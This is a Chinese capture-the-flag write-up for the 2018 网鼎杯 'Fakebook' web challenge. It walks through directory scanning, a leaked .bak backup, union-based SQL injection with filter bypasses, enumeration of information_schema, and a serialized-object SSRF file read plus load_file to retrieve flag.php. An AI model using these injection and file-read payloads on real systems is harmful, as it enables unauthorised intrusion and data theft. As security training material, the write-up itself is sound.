点进页面,页面显示为
查看源代码
用dirsearch扫一下,看一下有什么敏感信息泄露
扫出另一个flag.php和robots.txt,访问flag.php回显内容为空
请求robots.txt
网页提示/user.php.bak,直接访问会自动下载.bak备份文件
进行代码审计
通过get获得指定的URL,设置curl 参数,并将指定URL的内容返回,只要返回内容不为404即可
对输入的blog进行正则匹配
先随便注册一个
注册完了之后会自动跳转页面
点击admin
这里注意到url里传参为no=1,可能为sql注入
输入单引号测试一下,回显为报错
存在注入,判断字段数
构造payload
1 order by 5#
5时报错,所以有4个字段
这里用了union select,发现被过滤了
这里可用union/**/select或者union all select绕过判断
使用select查询回显点,这里把1改掉,要不然看不到回显
构造payload
9 union/**/select 1,2,3,4#
发现2是注入点
还有序列化
发现注入点后,爆数据库
构造payload
9 union all select 1,database(),3,4
数据库名为fakebook
9 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
爆列
9 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
这里需要注意因为数据库里不只这一个库里包含users表,后面大写的是其他数据库里的users表内容
猜测信息在data里,爆里面的内容
9 union all select 1,group_concat(data),3,4 from fakebook.users
这一串序列化的结果为注册的账号,被序列化输出,结合之前的代码审计结果
进行序列化,curl可用file协议,所以这里使用file协议读取文件。file:///var/www/html/flag.php
利用源码进行序列化构造后传入
但是之前爆列名的时候没有blog,所以我们要设置的点就是data那里了,所以在第四列进行注入,需要把序列化的句子包在单引号里
构造payload
9 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
查看源码
进行base64解码
这里得到绝对路径
mysql中的load_file函数,允许访问系统内任意文件并将内容以字符串形式返回,不过需要高权限,且函数参数要求文件的绝对路径,绝对路径猜测是/var/www/html/flag.php
构造payl
9 union/**/select 1,load_file('/var/www/html/flag.php'),3,4
查看源码得到flag
参考文章链接:
【精选】[网鼎杯 2018]Fakebook-CSDN博客
https://www.cnblogs.com/ling-lz/articles/15379058.html
[网鼎杯 2018]Fakebook——SSRF/反序列化漏洞/SQL注入_sGanYu的博客-CSDN博客